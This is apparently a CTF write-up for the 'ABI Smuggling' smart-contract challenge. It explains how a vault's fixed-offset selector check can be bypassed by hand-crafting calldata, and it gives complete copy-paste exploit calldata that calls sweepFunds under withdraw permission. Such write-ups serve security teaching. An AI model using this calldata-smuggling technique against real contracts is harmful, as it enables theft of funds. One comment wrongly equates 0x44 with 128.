TLDR: Solution is at the end, you can copy & paste it
In the test setup, we can see that two permissions are set
const deployerPermission = await vault.getActionId('0x85fb709d', deployer.address, vault.address);
const playerPermission = await vault.getActionId('0xd9caed12', player.address, vault.address);
Deployer has the permission to access the function selector 0x85fb709d
which is sweepFunds
function in SelfAuthorizedVault.sol
The player, on the other hand, has access to the selector 0xd9caed12
which is withdraw
function in SelfAuthorizedVault.sol.
Those two functions are protected with onlyThis
modifiers, to prevent external access, meaning we can only call them through execute
in AuthorizedExecutor.sol
To take funds, we need to pass the auth part.
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
If we take a closer look at getActionId
we can see that it uses keccak256(abi.encodePacked(selector, executor, target))
In our case, the player (msg.sender) is authorized only to to withdraw
, but we want him to call sweepFunds
.
We can accomplish that by altering call data.
First, let's take a look at how authorization of execute
works.
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
This is telling us that the selector is 4 bytes at the offset 100 in calldata.
Let us craft our calldata by adding this code to abi-smuggling.challenge.js test
const sweepFundsCalldata = vault.interface.encodeFunctionData('sweepFunds', [recovery.address, token.address])
const data = vault.interface.encodeFunctionData('execute', [vault.address, sweepFundsCalldata])
console.log('Full calldata:', data)
Here, we are calling execute, and passing in two parameters:
- target address
- bytes calldata (this calldata is actually call to
sweepFunds
encoded (function selector, address receiver + address token)
This will log to our console:
0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
Now let us manually 'prettify' this calldata, and make it more human-readable.
(selector is between asterisks selector)
// 4 byte selector for 'execute'
0x1cff79cd
// + 32-byte padded address (1. param of execute)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// + 32-byte calldata offset (Everything else is 2. param of execute)
0000000000000000000000000000000000000000000000000000000000000040
// + 32-byte calldata length
0000000000000000000000000000000000000000000000000000000000000044
// actual calldata, selector is starting at offset 100 from the start of the calldata
**85fb709d**0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
If we execute a transaction with this calldata
const tx = {
to: vault.address,
value: 0,
data: data,
gasLimit: 500000
}
await player.sendTransaction(tx)
We will get a revert with NotAllowed()
Now let's modify our calldata and recover the funds.
Because our second parameter is dynamic data(bytes), we need to learn more about how it is encoded.
ABI encoding of dynamic types (bytes, strings)
In the ABI Standard, dynamic types are encoded the following way:
- The offset of the dynamic data
- The length of the dynamic data
- The actual value of the dynamic data.
Memory loc Data
0x00 0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20 000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40 48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
If you hex decode 48656c6c6f2c20776f726c6421
you will get "Hello, world!".
Finally, let us modify our calldata so that we can return the funds to recovery.address
.
// execute selector
0x1cff79cd
// vault.address (first 32 bytes)
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512
// offset -> start of the calldata (128 bytes in decimal - 4 x 32 bytes) (second 32 bytes)
0000000000000000000000000000000000000000000000000000000000000080
// empty data (third 32 bytes)
0000000000000000000000000000000000000000000000000000000000000000
// we inserted the selector at offset 100 from the start of entire calldata (fourth 32 bytes)
**d9caed12**00000000000000000000000000000000000000000000000000000000
// start of the calldata (calldata length) (0x44 = 128 in decimal) 4x32 bytes = 0x80 = 128 offset
0000000000000000000000000000000000000000000000000000000000000044
// sweepFunds calldata
85fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000
So we planted d9caed12
in calldata so that the contract authorizes us, but by manipulating calldata, we are skipping that part in the actual code execution in external call.
Final code
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await player.sendTransaction({
to: vault.address,
data: "0x1cff79cd000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000"
})
});
Top comments (0)